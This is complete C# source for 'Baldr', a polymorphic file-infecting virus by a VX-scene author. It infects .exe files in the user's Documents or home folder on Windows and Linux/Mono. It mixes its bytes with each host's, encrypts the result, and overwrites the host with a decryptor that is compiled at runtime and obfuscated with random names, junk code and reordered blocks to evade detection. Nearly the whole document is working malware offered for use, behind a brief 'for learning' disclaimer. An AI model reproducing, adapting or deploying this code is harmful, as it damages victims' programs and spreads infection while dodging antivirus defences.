/************************************************************************* * C# - MSIL.Baldr (the god of innocence, beauty, joy, purity, and peace) * >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> * by free0n * VX13d vx13d.net | DoomRiderz www.doomriderz.com * ####################################################################### * ++BALDR++ * Baldr is a polymorphic virus that infects files in the users My Docs * folder or on Linux in the users /home/ folder. This has been tested * on linux (ubuntu) with Mono as well as winxp pro. * * Baldr's most unique trick is the ability to merge itself with it's host * in a random byte sequence. This trick I have not yet seen (doesn't * mean it hasn't been done) is that it can change how many bytes of the * host and how much of the virus and put each sequence back together. * * For example it may generate: * [virus] [host] [virus] [host] OR * [host] [virus] [virus] [host] OR * [virus [host] [host] [virus] ...and so on * * Baldr then takes this new file with the host and virus thats all mixed * up and Encrypts it, preventing it even further from being able to * identify it's code. * * Ofcourse this is not to say that it's not detectable. But with every * encryption you must have a decryption. The decryption or decryptor * gets built dynamically. This is basically our problem child now * So to fix this problem we apply three different techniques to hide * * 1) Variable changing * every variable in the decryptor is generated randomly * 2) Trashing * There contains a one method to add comments or string * variables in different parts where the code gets built * 3) Body Moving * Baldr uses 2 different code strings to be built based on a random * number. * * I hope you use this as an example and not for any malicious purpose. * I built this for my own personal learning and for yours also. * * With all that said, Enjoy my wonderful creation Baldr :) * Lates! * >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ************************************************************************/ /************************************************************************* * Start of Program.cs * >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ************************************************************************/ using System; using System.Collections.Generic; using System.Text; namespace Baldr { class Program { static void Main(string[] args) { //Create new instance of Baldr Baldr baldr = new Baldr(); baldr.Infect(); } } } /************************************************************************* * Start of Baldr.cs * >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ************************************************************************/ using System; using System.IO; using System.Diagnostics; using System.Collections; using System.Security.Cryptography; using System.Text; using Microsoft.CSharp; using System.CodeDom.Compiler; namespace Baldr { public class Baldr { private string me = Convert.ToString(Process.GetCurrentProcess().MainModule.FileName); private string myDir = Environment.GetFolderPath(Environment.SpecialFolder.Personal); private string os = Convert.ToString(Environment.OSVersion).Substring(0, 4).ToLower(); private string slash = @"\"; private ArrayList arrShuffled; private ArrayList wordList = new ArrayList(); public void Infect() { //if we are on linux //like I was when building this using mono //we must change our slashes if (os == "unix") { slash = "/"; } //grab all the exe files in the users //my documents folder or home folder in //unix string[] files = Directory.GetFiles(myDir, "*.exe"); for (int i = 0; i < files.Length; i++) { //read the host bytes and do a basic //byte check. byte[] hostBytes = readBytes(files[i]); if (hostBytes[60] != 128) { Infectfile(files[i], hostBytes); } } } private void Infectfile(string file, byte[] hostByte) { //create our byte array for the virus byte[] myBytes = readBytes(me); //generate a random 16 number //this will determine how many blocks //will be generated. int b = RandSixTeen(hostByte.Length); //calculate how much to write each block int hblocksize = (hostByte.Length / b); int vblocksize = (myBytes.Length / b); // here we build a sequence into how our file will // be divided up. // virus | host | virus | host or // host | virus | virus | host // we need to figure out what order to sort // based on the total of blocks from // both files arrShuffled = ShuffleArrayList((b * 2)); //print out the arraylist order int i = 0; IEnumerator enumr = arrShuffled.GetEnumerator(); string sequence = ""; // 1 = virus // 0 = host int av = 0; int ah = 0; //our counters that //will use below to keep //track int ev = vblocksize; int eh = hblocksize; string cmbName = myDir + slash + RandomWords() + ".exe"; FileStream fswHost = new FileStream(cmbName, FileMode.Create, FileAccess.Write); BinaryWriter bwHost = new BinaryWriter(fswHost); while (enumr.MoveNext()) { //based on our sequence we //will decide which to write //to join the files Equals(1) is the //virus bytes and 0 is host if (enumr.Current.Equals(1)) { for (int j = av; j < ev; j++) { bwHost.BaseStream.WriteByte(myBytes[j]); } //increment our block size to keep //our starting and ending offsets //so the next time we write we know //where to start and end av = ev; ev = ev + vblocksize; } else { //basically same deal as above //but we have to do it seperatley //to keep track of the hosts bytes for (int j = ah; j < eh; j++) { bwHost.BaseStream.WriteByte(hostByte[j]); } ah = eh; eh = eh + hblocksize; } sequence += enumr.Current; i++; } //always remember to flush! //before you close. This is good practice //and under the rare occasion will determine //if you write bytes or not. fswHost.Flush(); bwHost.Flush(); bwHost.Close(); fswHost.Close(); //Once we have the sequence combined into one file we will encrypt it string rKey = RandomKey(); string encFile = EncryptFile(cmbName, rKey); if (File.Exists(encFile)) { //if we generated our encrypted file based //on the combo file then we can go ahead and //remove it. File.Delete(cmbName); //setup the blocks int block = b * 2; FileInfo fi = new FileInfo(encFile); int encLength = (int)fi.Length; //generate our decryptor. string decFile = Decryptor(file, sequence, block, myBytes.Length, hostByte.Length, encLength, rKey); //check to make sure all our code compiled //and we got a file else abort. if (File.Exists(decFile)) { //read the decryptor bytes then delete byte[] decBytes = readBytes(decFile); File.Delete(decFile); //read the encrypted combined host + virus file //then delete byte[] encBytes = readBytes(encFile); File.Delete(encFile); if (File.Exists(file)) { try { //delete the original file we are infecting //we will then rebuild the file with our //decryptor first and then the encrypted //combined host + virus file File.Delete(file); FileStream fsb = new FileStream(file, FileMode.CreateNew); BinaryWriter bwb = new BinaryWriter(fsb); for (int x = 0; x < decBytes.Length; x++) { //write the decryptors bytes bwb.BaseStream.WriteByte(decBytes[x]); } for (int w = 0; w < encBytes.Length; w++) { //write the encrypted bytes bwb.BaseStream.WriteByte(encBytes[w]); } //flush and close bwb.Flush(); bwb.Close(); fsb.Close(); //if we are in unix we must chmod+x the //file first to make it executable if (os == "unix") { try { Process.Start("chmod +x " + file); } catch { } } } catch (Exception er) { //uncomment for debugging this is a rare //case but incase the file is locked we //won't be able to mainpulate it //Console.WriteLine("Error:" + er); //Console.ReadLine(); } } } else { //incase our decryptor didn't build //or was deleted we will delete the //encrypted combined file and do some //clean up so we don't reinfect this //file the next time. if (File.Exists(encFile)) { File.Delete(encFile); } } } } public string Decryptor(string f, string seq, int blocks, int vlength, int hlength, int elength, string p) { //generate a new random temp file name for our decryptor string name = myDir + slash + RandomWords() + ".exe"; ICodeCompiler ic = new CSharpCodeProvider().CreateCompiler(); CompilerParameters cp = new CompilerParameters(); cp.ReferencedAssemblies.Add("System.dll"); cp.GenerateExecutable = true; cp.CompilerOptions = "/target:winexe"; cp.OutputAssembly = name; //we will use r or Random to determine //which code gets run and to randomly select //a marker Random r = new Random(); //we build a hash table with all sorts of random words //this way we don't declare more variables and we can still //retrieve their value based on an index Hashtable hashish = new Hashtable(); for (int hi = 0; hi < 50; hi++) { string val = new RandomWord().RandomWords(r.Next(4, 12345)); if (wordList.IndexOf(val) != -1) { val += val + DateTime.Now.Millisecond; } wordList.Add(val); hashish.Add(hi, val); } //Store all the directives into an array that we can randomly sort the order //then we then just concatenate them to the directives string for use later string[] direct = { "using System; \n", "using System.Security.Cryptography; \n", "using System.Text; \n", "using System.Diagnostics; \n", "using System.IO; \n" }; Array.Sort(direct); string directives = ""; for (int di = 0; di < direct.Length; di++) { directives += direct[di]; } //start the main namespace and class //the code is either going to use Main() or generate a new function that gets called //inside Main() string codestart = "namespace " + hashish[1] + "{ \n" + " class " + hashish[2] + " { \n"; if ((r.Next(2) % 2) == 0) { codestart += " public static void Main() { \n"; } else { //our random function name that is called in Main() codestart += " public static void Main() { \n" + " " + hashish[3] + "(); \n" + "} \n" + "private static void " + hashish[3] + "() { \n"; } // host - encrypted file // pass in the total size of the encrypted file // then subtract this from the current file length // this will then get the starting offset on where to read the // encrypted bytes string ofFile = myDir + slash + hashish[4] + ".exe"; string readEnc = "string " + hashish[5] + " = Convert.ToString(Process.GetCurrentProcess().MainModule.FileName); \n" + "FileInfo " + hashish[6] + " = new FileInfo(" + hashish[5] + "); \n " + "int " + hashish[7] + " = (((int)" + hashish[6] + ".Length) - " + elength + "); \n" + "byte[] " + hashish[8] + " = new byte[" + hashish[6] + ".Length]; \n" + "FileStream " + hashish[9] + " = new FileStream(@" + hashish[5] + ", FileMode.Open, FileAccess.Read); \n" + "BinaryReader " + hashish[10] + " = new BinaryReader(" + hashish[9] + "); \n" + "for(int " + hashish[11] + " = 0; " + hashish[11] + " < " + hashish[8] + ".Length; " + hashish[11] + "++) { \n" + " " + hashish[8] + "[" + hashish[11] + "] = " + hashish[10] + ".ReadByte(); \n" + "} \n" + "" + hashish[10] + ".Close(); \n" + "" + hashish[9] + ".Close(); \n"; string encFile = myDir + slash + RandomWords() + ".exe"; string writeEnc = "FileStream " + hashish[12] + " = new FileStream(@\"" + encFile + "\", FileMode.Create, FileAccess.Write); \n " + "BinaryWriter " + hashish[13] + " = new BinaryWriter(" + hashish[12] + "); \n " + "for(int " + hashish[14] + " = " + hashish[7] + "; " + hashish[14] + " < " + hashish[8] + ".Length; " + hashish[14] + "++) { \n" + "" + hashish[13] + ".BaseStream.WriteByte(" + hashish[8] + "[" + hashish[14] + "]); \n" + "} \n" + "" + hashish[13] + ".Flush(); \n" + "" + hashish[13] + ".Close(); \n" + "" + hashish[12] + ".Close(); \n"; string decrypt = "UnicodeEncoding " + hashish[15] + " = new UnicodeEncoding(); \n" + "byte[] " + hashish[16] + " = " + hashish[15] + ".GetBytes(\"" + p + "\"); \n" + "FileStream " + hashish[17] + " = new FileStream(@\"" + encFile + "\", FileMode.Open); \n" + "RijndaelManaged " + hashish[18] + " = new RijndaelManaged(); \n" + "CryptoStream " + hashish[19] + " = new CryptoStream(" + hashish[17] + ", " + hashish[18] + ".CreateDecryptor(" + hashish[16] + "," + hashish[16] + "), CryptoStreamMode.Read); \n" + "FileStream " + hashish[20] + " = new FileStream(@\"" + ofFile + "\", FileMode.Create); \n" + "int " + hashish[21] + "; \n" + "while((" + hashish[21] + " = " + hashish[19] + ".ReadByte()) != -1) { \n" + " " + hashish[20] + ".WriteByte((byte)" + hashish[21] + "); \n" + "} \n" + "" + hashish[20] + ".Flush(); \n" + "" + hashish[20] + ".Close(); \n" + "" + hashish[19] + ".Close(); \n" + "" + hashish[17] + ".Close(); \n" + "File.Delete(@\"" + encFile + "\"); \n"; //rebuildvars is nice, we can kind of move this around //to different parts of the code. string rebuildVars = "int " + hashish[22] + " = (" + blocks + " / 2); \n" + "int " + hashish[23] + " = (" + hlength + " / " + hashish[22] + "); \n" + "int " + hashish[24] + " = (" + vlength + " / " + hashish[22] + "); \n" + "byte[] " + hashish[26] + " = new byte[" + hlength + "]; \n" + "byte[] " + hashish[25] + " = new byte[" + vlength + "]; \n" + "int " + hashish[27] + " = 0; \n" + "int " + hashish[28] + " = 0; \n" + "int " + hashish[29] + " = " + hashish[24] + "; \n" + "int " + hashish[30] + " = " + hashish[23] + "; \n" + "string " + hashish[31] + " = \"" + seq + "\"; \n"; string rebuild = "FileStream " + hashish[32] + " = new FileStream(@\"" + ofFile + "\", FileMode.Open, FileAccess.Read); \n" + "BinaryReader " + hashish[34] + " = new BinaryReader(" + hashish[32] + "); \n" + "CharEnumerator " + hashish[33] + " = " + hashish[31] + ".GetEnumerator(); \n" + "while(" + hashish[33] + ".MoveNext()) { \n" + "if(" + hashish[33] + ".Current.Equals('1')) { \n" + " for(int " + hashish[36] + " = " + hashish[27] + "; " + hashish[36] + " < " + hashish[29] + "; " + hashish[36] + "++) { \n" + " " + hashish[25] + "[" + hashish[36] + "] = " + hashish[34] + ".ReadByte(); \n" + " } \n" + " " + hashish[27] + " = " + hashish[29] + "; \n" + " " + hashish[29] + " = " + hashish[29] + " + " + hashish[24] + "; \n" + "} else { \n" + " for(int " + hashish[36] + " = " + hashish[28] + "; " + hashish[36] + " < " + hashish[30] + "; " + hashish[36] + "++) { \n" + " " + hashish[26] + "[" + hashish[36] + "] = " + hashish[34] + ".ReadByte(); \n" + " } \n" + " " + hashish[28] + " = " + hashish[30] + "; \n" + " " + hashish[30] + " = " + hashish[30] + " + " + hashish[23] + "; \n" + "} \n" + "} \n" + "" + hashish[34] + ".Close(); \n" + "" + hashish[32] + ".Close(); \n" + "File.Delete(@\"" + ofFile + "\"); \n"; string hostfile = myDir + slash + RandomWords() + ".exe"; string writeHostBytes = "FileStream " + hashish[37] + " = new FileStream(@\"" + hostfile + "\", FileMode.Create, FileAccess.Write); \n " + "BinaryWriter " + hashish[38] + " = new BinaryWriter(" + hashish[37] + "); \n " + "for(int " + hashish[40] + " = 0; " + hashish[40] + " < " + hashish[26] + ".Length; " + hashish[40] + "++) { \n" + "" + hashish[38] + ".BaseStream.WriteByte(" + hashish[26] + "[" + hashish[40] + "]); \n" + "} \n" + "" + hashish[38] + ".Flush(); \n" + "" + hashish[38] + ".Close(); \n" + "" + hashish[37] + ".Close(); \n"; string executeHost = "\n try { \n" + " if(Convert.ToString(Environment.OSVersion).Substring(0,4).ToLower() == \"unix\") { \n " + " Process.Start(@\"chmod +x " + hostfile + "\").WaitForExit(); \n" + " } \n" + " Process.Start(@\"" + hostfile + "\").WaitForExit(); \n" + " File.Delete(@\"" + hostfile + "\"); \n" + "} catch { } \n"; string virusFile = myDir + slash + RandomWords() + ".exe"; string writeVirusBytes = "FileStream " + hashish[41] + " = new FileStream(@\"" + virusFile + "\", FileMode.Create, FileAccess.Write); \n " + "BinaryWriter " + hashish[42] + " = new BinaryWriter(" + hashish[41] + "); \n " + "for(int " + hashish[39] + " = 0; " + hashish[39] + " < " + hashish[25] + ".Length; " + hashish[39] + "++) { \n" + "" + hashish[42] + ".BaseStream.WriteByte(" + hashish[25] + "[" + hashish[39] + "]); \n" + "} \n" + "" + hashish[42] + ".Flush(); \n" + "" + hashish[42] + ".Close(); \n" + "" + hashish[41] + ".Close(); \n"; string executeVirus = "\n try { \n" + " if(Convert.ToString(Environment.OSVersion).Substring(0,4).ToLower() == \"unix\") { \n " + " Process.Start(@\"chmod +x " + virusFile + "\").WaitForExit(); \n" + " } \n" + " Process.Start(@\"" + virusFile + "\").WaitForExit(); \n" + " File.Delete(@\"" + virusFile + "\"); \n" + "} catch { } \n"; string end = "} \n" + " } \n" + "} \n"; //I've only done two different //types of simple body moving //here but you should be able to get //the idea. Both strings will have //trash and rebuildVars will be placed //into a different area. string d = ""; if (r.Next(1, 100) % 2 == 1) { d += directives + codestart + readEnc + writeEnc + Trash() + decrypt + rebuildVars + Trash() + rebuild + writeHostBytes + executeHost + writeVirusBytes + executeVirus + end; } else { d += directives + codestart + Trash() + readEnc + Trash() + rebuildVars + writeEnc + Trash() + decrypt + Trash() + rebuild + writeHostBytes + Trash() + executeHost + writeVirusBytes + executeVirus + end; } //compile the file our string d holds all the //code strings now. CompilerResults results = ic.CompileAssemblyFromSource(cp, d); //if we were successfull in generating the exe we will //mark it as hiddent and then return the name so we //can resume program execution above. if (File.Exists(name)) { File.SetAttributes(name, FileAttributes.Hidden); } return name; } private string EncryptFile(string file, string p) { //encrypt file works on basically //like this we pass a file and //a dynamic key. We then use CryptoStream //to encrypt the file using the Rijndael algo UnicodeEncoding UE = new UnicodeEncoding(); byte[] key = UE.GetBytes(p); string outf = myDir + slash + RandomWords() + ".exe"; FileStream fsc = new FileStream(outf, FileMode.Create); RijndaelManaged cr = new RijndaelManaged(); CryptoStream cs = new CryptoStream(fsc, cr.CreateEncryptor(key, key), CryptoStreamMode.Write); FileStream fsIn = new FileStream(file, FileMode.Open); int d; while ((d = fsIn.ReadByte()) != -1) { cs.WriteByte((byte)d); } fsIn.Close(); cs.Close(); fsc.Close(); return outf; } private int RandSixTeen(int s) { int[] intArr = new int[64]; int l = 63; for (int i = 0; i < intArr.Length; i++) { intArr[i] = 16 * (i + 1); if (intArr[i] > s) { l = i - 1; break; } } Random r = new Random(); return intArr[r.Next(0, l)]; } private ArrayList ShuffleArrayList(int n) { //create an array list ArrayList arrList = new ArrayList(); for (int i = 0; i < n; i++) { if ((i % 2) == 0) { arrList.Add(0); } else { arrList.Add(1); } } //randomly sort the arraylist then return it Random rnd = new Random(); for (int inx = arrList.Count - 1; inx > 0; --inx) { int pos = rnd.Next(inx); object temp = arrList[inx]; arrList[inx] = arrList[pos]; arrList[pos] = temp; } return arrList; } public string RandomWords() { Random r = new Random(unchecked((int)DateTime.Now.Ticks)); RandomWord rword = new RandomWord(); string n = rword.RandomWords(r.Next(1234)); if (wordList.Contains(n)) { wordList.Add(n + DateTime.Now.Second); } else { wordList.Add(n); } return n; } public string Trash() { string t = ""; for (int hi = 0; hi < 50; hi++) { Random r = new Random(); string val = new RandomWord().RandomWords(r.Next(4, 100)); while(wordList.IndexOf(val) != -1) { val = new RandomWord().RandomWords(r.Next(4, 200)); } if (r.Next(1, 100) % 2 == 1) { //comment code t += "//" + val + " \n"; } else { string vals = new RandomWord().RandomWords(r.Next(4, 300)); t += "string " + val + " = \"" + vals + "\"; \n"; } wordList.Add(val); } return t; } public string RandomKey() { string c = "abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNOPQRSTUVWXYZMaDeByfReeOn"; Random r = new Random(unchecked((int)DateTime.Now.Ticks)); string n = ""; for (int i = 0; i < r.Next(0, 100); i++) { n += c[r.Next(c.Length)]; } if (n.Length > 8) { n = n.Substring(0, 8); } else { int b = 8 - n.Length; for (int i = 0; i < b; i++) { n += c[i]; } } return n; } private void writeBytes(string f, byte[] arrBytes) { FileStream fsw = new FileStream(f, FileMode.Create, FileAccess.Write); BinaryWriter bw = new BinaryWriter(fsw); for (int i = 0; i < arrBytes.Length; i++) { bw.BaseStream.WriteByte(arrBytes[i]); } bw.Flush(); bw.Close(); fsw.Close(); } private byte[] readBytes(string p) { FileStream fw = new FileStream(p, FileMode.Open, FileAccess.Read); BinaryReader br = new BinaryReader(fw); byte[] b = new byte[fw.Length]; for (int f = 0; f < b.Length; f++) { b[f] = br.ReadByte(); } br.Close(); fw.Close(); return b; } } } /************************************************************************* * Start of RandomWord.cs * >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ************************************************************************/ using System; using System.Text; using System.IO; namespace Baldr { class RandomWord { public string RandomWords(int rand) { string c = "abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNOPQRSTUVWXYZMaDeByfReeOn"; Random r = new Random(unchecked((int)DateTime.Now.Millisecond - rand)); string n = ""; for (int i = 0; i < r.Next(4, rand); i++) { n += c[r.Next(c.Length)]; } return n; } } }